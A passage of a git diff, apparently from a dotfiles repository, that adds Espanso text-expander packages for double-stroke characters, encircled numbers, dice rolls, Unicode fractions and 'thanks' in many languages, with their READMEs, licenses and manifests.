+ - trigger: ';//o' + replace: '𝕠' + - trigger: ';//p' + replace: '𝕡' + - trigger: ';//q' + replace: '𝕢' + - trigger: ';//r' + replace: '𝕣' + - trigger: ';//s' + replace: '𝕤' + - trigger: ';//t' + replace: '𝕥' + - trigger: ';//u' + replace: '𝕦' + - trigger: ';//v' + replace: '𝕧' + - trigger: ';//w' + replace: '𝕨' + - trigger: ';//x' + replace: '𝕩' + - trigger: ';//y' + replace: '𝕪' + - trigger: ';//z' + replace: '𝕫' + # }}} diff --git a/.config/espanso/match/packages/double-stroke-numbers/LICENSE b/.config/espanso/match/packages/double-stroke-numbers/LICENSE new file mode 100644 index 0000000..b600d38 --- /dev/null +++ b/.config/espanso/match/packages/double-stroke-numbers/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Ihor Kopach https://github.com/kopach + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.config/espanso/match/packages/double-stroke-numbers/README.md b/.config/espanso/match/packages/double-stroke-numbers/README.md new file mode 100644 index 0000000..9ac5373 --- /dev/null +++ b/.config/espanso/match/packages/double-stroke-numbers/README.md @@ -0,0 +1,36 @@ +# 𝟙𝟚𝟛 Double stroke numbers + +[Espanso](https://espanso.org) package to easy write Double stroke numbers. + +⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-numbers/stargazers) — it helps! + +[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source) + +

+ +![demo](https://github.com/kopach/espanso-package-double-stroke-numbers/raw/main/assets/demo.gif) + +

+ +## Triggers + +| Keyword | Replaced | +| ------- | -------- | +| `;//0` | `𝟘` | +| `;//1'` | `𝟙` | +| `;//2'` | `𝟚` | +| `;//3'` | `𝟛` | +| `;//4'` | `𝟜` | +| `;//5'` | `𝟝` | +| `;//6'` | `𝟞` | +| `;//7'` | `𝟟` | +| `;//8'` | `𝟠` | +| `;//9'` | `𝟡` | + +## Contribute + +Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-numbers) + +## 📄 License + +This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-double-stroke-numbers/blob/master/LICENSE) diff --git a/.config/espanso/match/packages/double-stroke-numbers/_manifest.yml b/.config/espanso/match/packages/double-stroke-numbers/_manifest.yml new file mode 100644 index 0000000..c835637 --- /dev/null +++ b/.config/espanso/match/packages/double-stroke-numbers/_manifest.yml @@ -0,0 +1,7 @@ +author: Ihor Kopach (https://kopach.dev) +description: "Easy write double stroke numbers: 𝟙𝟚𝟛" +name: double-stroke-numbers +title: Double stroke numbers +version: 1.0.0 +homepage: 'https://github.com/kopach/espanso-package-double-stroke-numbers' +tags: ["symbols", "numbers"] \ No newline at end of file diff --git a/.config/espanso/match/packages/double-stroke-numbers/_pkgsource.yml b/.config/espanso/match/packages/double-stroke-numbers/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/double-stroke-numbers/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/double-stroke-numbers/package.yml b/.config/espanso/match/packages/double-stroke-numbers/package.yml new file mode 100644 index 0000000..4489c72 --- /dev/null +++ b/.config/espanso/match/packages/double-stroke-numbers/package.yml @@ -0,0 +1,25 @@ + +matches: + # {{{ Double Stroke Numbers + # https://www.webnots.com/alt-code-shortcuts-for-double-stroke-letters-and-numbers/ + - trigger: ';//0' + replace: '𝟘' + - trigger: ';//1' + replace: '𝟙' + - trigger: ';//2' + replace: '𝟚' + - trigger: ';//3' + replace: '𝟛' + - trigger: ';//4' + replace: '𝟜' + - trigger: ';//5' + replace: '𝟝' + - trigger: ';//6' + replace: '𝟞' + - trigger: ';//7' + replace: '𝟟' + - trigger: ';//8' + replace: '𝟠' + - trigger: ';//9' + replace: '𝟡' + # }}} diff --git a/.config/espanso/match/packages/encircled-numbers/LICENSE b/.config/espanso/match/packages/encircled-numbers/LICENSE new file mode 100644 index 0000000..b600d38 --- /dev/null +++ b/.config/espanso/match/packages/encircled-numbers/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Ihor Kopach https://github.com/kopach + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.config/espanso/match/packages/encircled-numbers/README.md b/.config/espanso/match/packages/encircled-numbers/README.md new file mode 100644 index 0000000..d6736ff --- /dev/null +++ b/.config/espanso/match/packages/encircled-numbers/README.md @@ -0,0 +1,105 @@ +# ①❷③ Encircled numbers + +[Espanso](https://espanso.org) package to easy write encircled or enclosed numbers. + +⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-encircled-numbers/stargazers) — it helps! + +[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source) + +

+ +![demo](https://github.com/kopach/espanso-package-encircled-numbers/raw/main/assets/demo.gif) + +

+ +## Triggers + +### Encircled numbers 0-50 + +| Keyword | Replaced | +| ------- | -------- | +| `;o0` | `⓪` | +| `;o1` | `①` | +| `;o2` | `②` | +| `;o3` | `③` | +| `;o4` | `④` | +| `;o5` | `⑤` | +| `;o6` | `⑥` | +| `;o7` | `⑦` | +| `;o8` | `⑧` | +| `;o9` | `⑨` | +| `;o.10` | `⑩` | +| `;o.11` | `⑪` | +| `;o.12` | `⑫` | +| `;o.13` | `⑬` | +| `;o.14` | `⑭` | +| `;o.15` | `⑮` | +| `;o.16` | `⑯` | +| `;o.17` | `⑰` | +| `;o.18` | `⑱` | +| `;o.19` | `⑲` | +| `;o.20` | `⑳` | +| `;o.21` | `㉑` | +| `;o.22` | `㉒` | +| `;o.23` | `㉓` | +| `;o.24` | `㉔` | +| `;o.25` | `㉕` | +| `;o.26` | `㉖` | +| `;o.27` | `㉗` | +| `;o.28` | `㉘` | +| `;o.29` | `㉙` | +| `;o.30` | `㉚` | +| `;o.31` | `㉛` | +| `;o.32` | `㉜` | +| `;o.33` | `㉝` | +| `;o.34` | `㉞` | +| `;o.35` | `㉟` | +| `;o.36` | `㊱` | +| `;o.37` | `㊲` | +| `;o.38` | `㊳` | +| `;o.39` | `㊴` | +| `;o.40` | `㊵` | +| `;o.41` | `㊶` | +| `;o.42` | `㊷` | +| `;o.43` | `㊸` | +| `;o.44` | `㊹` | +| `;o.45` | `㊺` | +| `;o.46` | `㊻` | +| `;o.47` | `㊼` | +| `;o.48` | `㊽` | +| `;o.49` | `㊾` | +| `;o.50` | `㊿` | + +### Negative encircled numbers 0-20 + +| Keyword | Replaced | +| -------- | -------- | +| `;no0` | `⓿` | +| `;no1` | `❶` | +| `;no2` | `❷` | +| `;no3` | `❸` | +| `;no4` | `❹` | +| `;no5` | `❺` | +| `;no6` | `❻` | +| `;no7` | `❼` | +| `;no8` | `❽` | +| `;no9` | `❾` | +| `;no.10` | `❿` | +| `;no.11` | `⓫` | +| `;no.12` | `⓬` | +| `;no.13` | `⓭` | +| `;no.14` | `⓮` | +| `;no.15` | `⓯` | +| `;no.16` | `⓰` | +| `;no.17` | `⓱` | +| `;no.18` | `⓲` | +| `;no.19` | `⓳` | +| `;no.20` | `⓴` | + +## Contribute + +Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-encircled-numbers) + +## 📄 License + +This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-encircled-numbers/blob/master/LICENSE) diff --git a/.config/espanso/match/packages/encircled-numbers/_manifest.yml b/.config/espanso/match/packages/encircled-numbers/_manifest.yml new file mode 100644 index 0000000..f36fb31 --- /dev/null +++ b/.config/espanso/match/packages/encircled-numbers/_manifest.yml @@ -0,0 +1,7 @@ +author: Ihor Kopach (https://kopach.dev) +description: "Easy write encircled or enclosed numbers: ①❷③" +name: encircled-numbers +title: Encircled numbers +version: 1.0.0 +homepage: "https://github.com/kopach/espanso-package-encircled-numbers" +tags: ["symbols", "numbers"] \ No newline at end of file diff --git a/.config/espanso/match/packages/encircled-numbers/_pkgsource.yml b/.config/espanso/match/packages/encircled-numbers/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/encircled-numbers/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/encircled-numbers/package.yml b/.config/espanso/match/packages/encircled-numbers/package.yml new file mode 100644 index 0000000..a044b9f --- /dev/null +++ b/.config/espanso/match/packages/encircled-numbers/package.yml @@ -0,0 +1,153 @@ + +matches: + # {{{ Encircled numbers 0-50 + # https://www.webnots.com/alt-code-shortcuts-for-encircled-numbers/ + - trigger: ';o0' + replace: '⓪' + - trigger: ';o1' + replace: '①' + - trigger: ';o2' + replace: '②' + - trigger: ';o3' + replace: '③' + - trigger: ';o4' + replace: '④' + - trigger: ';o5' + replace: '⑤' + - trigger: ';o6' + replace: '⑥' + - trigger: ';o7' + replace: '⑦' + - trigger: ';o8' + replace: '⑧' + - trigger: ';o9' + replace: '⑨' + - trigger: ';o.10' + replace: '⑩' + - trigger: ';o.11' + replace: '⑪' + - trigger: ';o.12' + replace: '⑫' + - trigger: ';o.13' + replace: '⑬' + - trigger: ';o.14' + replace: '⑭' + - trigger: ';o.15' + replace: '⑮' + - trigger: ';o.16' + replace: '⑯' + - trigger: ';o.17' + replace: '⑰' + - trigger: ';o.18' + replace: '⑱' + - trigger: ';o.19' + replace: '⑲' + - trigger: ';o.20' + replace: '⑳' + - trigger: ';o.21' + replace: '㉑' + - trigger: ';o.22' + replace: '㉒' + - trigger: ';o.23' + replace: '㉓' + - trigger: ';o.24' + replace: '㉔' + - trigger: ';o.25' + replace: '㉕' + - trigger: ';o.26' + replace: '㉖' + - trigger: ';o.27' + replace: '㉗' + - trigger: ';o.28' + replace: '㉘' + - trigger: ';o.29' + replace: '㉙' + - trigger: ';o.30' + replace: '㉚' + - trigger: ';o.31' + replace: '㉛' + - trigger: ';o.32' + replace: '㉜' + - trigger: ';o.33' + replace: '㉝' + - trigger: ';o.34' + replace: '㉞' + - trigger: ';o.35' + replace: '㉟' + - trigger: ';o.36' + replace: '㊱' + - trigger: ';o.37' + replace: '㊲' + - trigger: ';o.38' + replace: '㊳' + - trigger: ';o.39' + replace: '㊴' + - trigger: ';o.40' + replace: '㊵' + - trigger: ';o.41' + replace: '㊶' + - trigger: ';o.42' + replace: '㊷' + - trigger: ';o.43' + replace: '㊸' + - trigger: ';o.44' + replace: '㊹' + - trigger: ';o.45' + replace: '㊺' + - trigger: ';o.46' + replace: '㊻' + - trigger: ';o.47' + replace: '㊼' + - trigger: ';o.48' + replace: '㊽' + - trigger: ';o.49' + replace: '㊾' + - trigger: ';o.50' + replace: '㊿' + # }}} + + # {{{ Negative encircled numbers 0-20 + # https://www.webnots.com/alt-code-shortcuts-for-encircled-numbers/ + - trigger: ';no0' + replace: '⓿' + - trigger: ';no1' + replace: '❶' + - trigger: ';no2' + replace: '❷' + - trigger: ';no3' + replace: '❸' + - trigger: ';no4' + replace: '❹' + - trigger: ';no5' + replace: '❺' + - trigger: ';no6' + replace: '❻' + - trigger: ';no7' + replace: '❼' + - trigger: ';no8' + replace: '❽' + - trigger: ';no9' + replace: '❾' + - trigger: ';no.10' + replace: '❿' + - trigger: ';no.11' + replace: '⓫' + - trigger: ';no.12' + replace: '⓬' + - trigger: ';no.13' + replace: '⓭' + - trigger: ';no.14' + replace: '⓮' + - trigger: ';no.15' + replace: '⓯' + - trigger: ';no.16' + replace: '⓰' + - trigger: ';no.17' + replace: '⓱' + - trigger: ';no.18' + replace: '⓲' + - trigger: ';no.19' + replace: '⓳' + - trigger: ';no.20' + replace: '⓴' + # }}} \ No newline at end of file diff --git a/.config/espanso/match/packages/espanso-dice/README.md b/.config/espanso/match/packages/espanso-dice/README.md new file mode 100644 index 0000000..8fcdc7a --- /dev/null +++ b/.config/espanso/match/packages/espanso-dice/README.md @@ -0,0 +1,16 @@ +# Espanso Dice +Espanso text expander package with common die types. + +To use, type ".roll dnumber of die sides" followed by a space. + +## Dice currently supported: +- d2 +- d3 +- d4 +- d6 +- d8 +- d10 +- d12 +- d20 +- d100 (aka d00) +- d1000 (aka d000) \ No newline at end of file diff --git a/.config/espanso/match/packages/espanso-dice/_manifest.yml b/.config/espanso/match/packages/espanso-dice/_manifest.yml new file mode 100644 index 0000000..90e95ae --- /dev/null +++ b/.config/espanso/match/packages/espanso-dice/_manifest.yml @@ -0,0 +1,7 @@ +author: Craftidore +description: Dice emulator using the espanso random function. +homepage: https://github.com/Craftidore/espanso-dice +name: espanso-dice +title: Espanso Dice +version: 0.1.0 +tags: ["utility", "fun", "dice"] \ No newline at end of file diff --git a/.config/espanso/match/packages/espanso-dice/_pkgsource.yml b/.config/espanso/match/packages/espanso-dice/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/espanso-dice/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/espanso-dice/package.yml b/.config/espanso/match/packages/espanso-dice/package.yml new file mode 100644 index 0000000..7bf6031 --- /dev/null +++ b/.config/espanso/match/packages/espanso-dice/package.yml @@ -0,0 +1,210 @@ +# Espanso Dice + +matches: + - triggers: [".roll d2", ".r d2"] + word: true + replace: "d2: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - triggers: [".roll d3", ".r d3"] + word: true + replace: "d3: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - triggers: [".roll d4", ".r d4"] + word: true + replace: "d4: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - triggers: [".roll d6", ".r d6"] + word: true + replace: "d6: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - triggers: [".roll d8", ".r d8"] + word: true + replace: "d8: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - triggers: [".roll d10", ".r d10"] + word: true + replace: "d10: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - triggers: [".roll d12", ".r d12"] + word: true + replace: "d12: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - "11" + - "12" + - triggers: [".roll d20", ".r d20"] + word: true + replace: "d20: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - "11" + - "12" + - "13" + - "14" + - "15" + - "16" + - "17" + - "18" + - "19" + - "20" + - triggers: [".roll d100", ".roll d00", ".r d100", ".r d00"] + word: true + replace: "d100: {{output1}}{{output2}}" + vars: + - name: output1 + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - name: output2 + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "0" + - triggers: [".roll d1000", ".roll d000", ".r d1000", ".r d000"] + word: true + replace: "d1000: {{output1}}{{output2}}{{output3}}" + vars: + - name: output1 + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - name: output2 + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "0" + - name: output3 + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "0" \ No newline at end of file diff --git a/.config/espanso/match/packages/espanso-fractions/README.md b/.config/espanso/match/packages/espanso-fractions/README.md new file mode 100644 index 0000000..5097f6d --- /dev/null +++ b/.config/espanso/match/packages/espanso-fractions/README.md @@ -0,0 +1,37 @@ +This package will allow you to use unicode fractions in your typing: + +:1/4 → ¼ + +:1/2 → ½ + +:3/4 → ¾ + +:1/7 → ⅐ + +:1/9 → ⅑ + +:1/10 → ⅒ + +:1/3 → ⅓ + +:2/3 → ⅔ + +:1/5 → ⅕ + +:2/5 → ⅖ + +:3/5 → ⅗ + +:4/5 → ⅘ + +:1/6 → ⅙ + +:5/6 → ⅚ + +:1/8 → ⅛ + +:3/8 → ⅜ + +:5/8 → ⅝ + +:7/8 → ⅞ \ No newline at end of file diff --git a/.config/espanso/match/packages/espanso-fractions/_manifest.yml b/.config/espanso/match/packages/espanso-fractions/_manifest.yml new file mode 100644 index 0000000..923f417 --- /dev/null +++ b/.config/espanso/match/packages/espanso-fractions/_manifest.yml @@ -0,0 +1,7 @@ +author: Andrew Pastuszak +description: A package allowing you to use unicode fractions +name: espanso-fractions +title: Unicode Fractions +version: 0.1.0 +homepage: "https://github.com/apastuszak/espanso-package-fractions" +tags: ["symbols", "numbers", "fractions", "math"] \ No newline at end of file diff --git a/.config/espanso/match/packages/espanso-fractions/_pkgsource.yml b/.config/espanso/match/packages/espanso-fractions/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/espanso-fractions/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/espanso-fractions/package.yml b/.config/espanso/match/packages/espanso-fractions/package.yml new file mode 100644 index 0000000..799aef8 --- /dev/null +++ b/.config/espanso/match/packages/espanso-fractions/package.yml @@ -0,0 +1,37 @@ +matches: + - trigger: ":1/4" + replace: "¼" + - trigger: ":1/2" + replace: "½" + - trigger: ":3/4" + replace: "¾" + - trigger: ":1/7" + replace: "⅐" + - trigger: ":1/9" + replace: "⅑" + - trigger: ":1/10" + replace: "⅒" + - trigger: ":1/3" + replace: "⅓" + - trigger: ":2/3" + replace: "⅔" + - trigger: ":1/5" + replace: "⅕" + - trigger: ":2/5" + replace: "⅖" + - trigger: ":3/5" + replace: "⅗" + - trigger: ":4/5" + replace: "⅘" + - trigger: ":1/6" + replace: "⅙" + - trigger: ":5/6" + replace: "⅚" + - trigger: ":1/8" + replace: "⅛" + - trigger: ":3/8" + replace: "⅜" + - trigger: ":5/8" + replace: "⅝" + - trigger: ":7/8" + replace: "⅞" diff --git a/.config/espanso/match/packages/foreign-thanks/LICENSE b/.config/espanso/match/packages/foreign-thanks/LICENSE new file mode 100644 index 0000000..6cd9353 --- /dev/null +++ b/.config/espanso/match/packages/foreign-thanks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Ihor Kopach https://github.com/kopach + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.config/espanso/match/packages/foreign-thanks/README.md b/.config/espanso/match/packages/foreign-thanks/README.md new file mode 100644 index 0000000..aa14405 --- /dev/null +++ b/.config/espanso/match/packages/foreign-thanks/README.md @@ -0,0 +1,72 @@ +# 🌐 Foreign Thanks + +[Espanso](https://espanso.org) package to easy say Thanks in different languages. + +⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-foreign-thanks/stargazers) — it helps! + +[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source) + +

+ +![demo](https://github.com/kopach/espanso-package-foreign-thanks/blob/main/assets/demo.gif) + +

+ +## Installation + +Make sure you have already installed [Espanso](https://espanso.org/install) first. + +### Install with `espanso install` + +> https://hub.espanso.org/foreign-thanks + +```sh +espanso install foreign-thanks +``` + +That's all. You can start using the package. + +## Triggers + +| Keywords | Replaced | +| -------- | -------- | +| `:arthx`, `:arabicthx`, `:arabicthanks` | شكرا | +| `:hythx`, `:armenianthx`, `:armenianthanks` | Շնորհակալություն | +| `:euthx`, `:basquethx`, `:basquethanks` | Eskerrik asko | +| `:bethx`, `:belarusianthx`, `:belarusianthanks` | Дзякуй | +| `:zhthx`, `:chinesethx`, `:chinesethanks` | 谢谢 | +| `:csthx`, `:czechthx`, `:czechthanks` | Díky | +| `:nlthx`, `:dutchthx`, `:dutchthanks` | Dank je wel | +| `:tlthx`, `:filipinothx`, `:filipinothanks` | Salamat | +| `:fithx`, `:finnishthx`, `:finnishthanks` | Kiitos | +| `:frthx`, `:frenchthx`, `:frenchthanks` | Merci | +| `:dethx`, `:germanthx`, `:germanthanks` | Danke | +| `:hithx`, `:hindithx`, `:hindithanks` | धन्यवाद | +| `:isthx`, `:icelandicthx`, `:icelandicthanks` | Takk | +| `:idthx`, `:indonesianthx`, `:indonesianthanks` | Terima kasih | +| `:itthx`, `:italianthx`, `:italianthanks` | Grazie | +| `:jathx`, `:japanesethx`, `:japanesethanks` | ありがとうございます | +| `:tlhthx`, `:klingonthx`, `:klingonthanks` | Qa tlho' | +| `:kothx`, `:koreanthx`, `:koreanthanks` | 감사합니다 | +| `:psthx`, `:pashtothx`, `:pashtothanks` | ډیره مننه | +| `:fathx`, `:persianthx`, `:persianthanks` | متشکرم | +| `:plthx`, `:polishthx`, `:polishthanks` | Dzięki | +| `:rothx`, `:romanianthx`, `:romanianthanks` | Multumesc | +| `:esthx`, `:spanishthx`, `:spanishthanks` | Gracias | +| `:svthx`, `:swedishthx`, `:swedishthanks` | Tack | +| `:trthx`, `:turkishthx`, `:turkishthanks` | Sağol | +| `:ukthx`, `:ukrainianthx`, `:ukrainianthanks` | Дякую | +| `:urthx`, `:urduthx`, `:urduthanks` | شکریہ | +| `:vithx`, `:vietnamesethx`, `:vietnamesethanks` | Cảm ơn | + +## Contribute + +Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-foreign-thanks) + +## Credits + +Inspired by [Foreign Thanks](https://snippets.textexpander.com/group/a3c4abfa3e21d9d77cd0542d6ce69f20) for [Text Expander](https://textexpander.com) app + +## 📄 License + +This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-foreign-thanks/blob/master/LICENSE) \ No newline at end of file diff --git a/.config/espanso/match/packages/foreign-thanks/_manifest.yml b/.config/espanso/match/packages/foreign-thanks/_manifest.yml new file mode 100644 index 0000000..b76aca3 --- /dev/null +++ b/.config/espanso/match/packages/foreign-thanks/_manifest.yml @@ -0,0 +1,11 @@ +author: Ihor Kopach (https://kopach.dev) +description: 🌐 Espanso package to easy say Thanks in different languages +homepage: https://github.com/kopach/espanso-package-foreign-thanks#readme +name: foreign-thanks +tags: + - greetings + - languages + - phrases + - communication +title: Foreign Thanks +version: 1.1.0 diff --git a/.config/espanso/match/packages/foreign-thanks/_pkgsource.yml b/.config/espanso/match/packages/foreign-thanks/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/foreign-thanks/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/foreign-thanks/package.yml b/.config/espanso/match/packages/foreign-thanks/package.yml new file mode 100644 index 0000000..3d46bfc --- /dev/null +++ b/.config/espanso/match/packages/foreign-thanks/package.yml @@ -0,0 +1,141 @@ +matches: + - replace: شكرا + triggers: + - ':arthx' + - ':arabicthx' + - ':arabicthanks' + - replace: Շնորհակալություն + triggers: + - ':hythx' + - ':armenianthx' + - ':armenianthanks' + - replace: Eskerrik asko + triggers: + - ':euthx' + - ':basquethx' + - ':basquethanks' + - replace: Дзякуй + triggers: + - ':bethx' + - ':belarusianthx' + - ':belarusianthanks' + - replace: 谢谢 + triggers: + - ':zhthx' + - ':chinesethx' + - ':chinesethanks' + - replace: Díky + triggers: + - ':csthx' + - ':czechthx' + - ':czechthanks' + - replace: Dank je wel + triggers: + - ':nlthx' + - ':dutchthx' + - ':dutchthanks' + - replace: Salamat + triggers: + - ':tlthx' + - ':filipinothx' + - ':filipinothanks' + - replace: Kiitos + triggers: + - ':fithx' + - ':finnishthx' + - ':finnishthanks' + - replace: Merci + triggers: + - ':frthx' + - ':frenchthx' + - ':frenchthanks' + - replace: Danke + triggers: + - ':dethx' + - ':germanthx' + - ':germanthanks' + - replace: धन्यवाद + triggers: + - ':hithx' + - ':hindithx' + - ':hindithanks' + - replace: Takk + triggers: + - ':isthx' + - ':icelandicthx' + - ':icelandicthanks' + - replace: Terima kasih + triggers: + - ':idthx' + - ':indonesianthx' + - ':indonesianthanks' + - replace: Grazie + triggers: + - ':itthx' + - ':italianthx' + - ':italianthanks' + - replace: ありがとうございます + triggers: + - ':jathx' + - ':japanesethx' + - ':japanesethanks' + - replace: Qa tlho' + triggers: + - ':tlhthx' + - ':klingonthx' + - ':klingonthanks' + - replace: 감사합니다 + triggers: + - ':kothx' + - ':koreanthx' + - ':koreanthanks' + - replace: ډیره مننه + triggers: + - ':psthx' + - ':pashtothx' + - ':pashtothanks' + - replace: متشکرم + triggers: + - ':fathx' + - ':persianthx' + - ':persianthanks' + - replace: Dzięki + triggers: + - ':plthx' + - ':polishthx' + - ':polishthanks' + - replace: Multumesc + triggers: + - ':rothx' + - ':romanianthx' + - ':romanianthanks' + - replace: Gracias + triggers: + - ':esthx' + - ':spanishthx' + - ':spanishthanks' + - replace: Tack + triggers: + - ':svthx' + - ':swedishthx' + - ':swedishthanks' + - replace: Sağol + triggers: + - ':trthx' + - ':turkishthx' + - ':turkishthanks' + - replace: Дякую + triggers: + - ':ukthx' + - ':ukrainianthx' + - ':ukrainianthanks' + - replace: شکریہ + triggers: + - ':urthx' + - ':urduthx' + - ':urduthanks' + - replace: Cảm ơn + triggers: + - ':vithx' + - ':vietnamesethx' + - ':vietnamesethanks' diff --git a/.config/espanso/match/packages/greek-letters-improved/LICENSE b/.config/espanso/match/packages/greek-letters-improved/LICENSE new file mode 100644 index 0000000..fd4d9b7 --- /dev/null +++ b/.config/espanso/match/packages/greek-letters-improved/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 José Ferreira + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.config/espanso/match/packages/greek-letters-improved/README.md b/.config/espanso/match/packages/greek-letters-improved/README.md new file mode 100644 index 0000000..537d992 --- /dev/null +++ b/.config/espanso/match/packages/greek-letters-improved/README.md @@ -0,0 +1,59 @@ +# Available 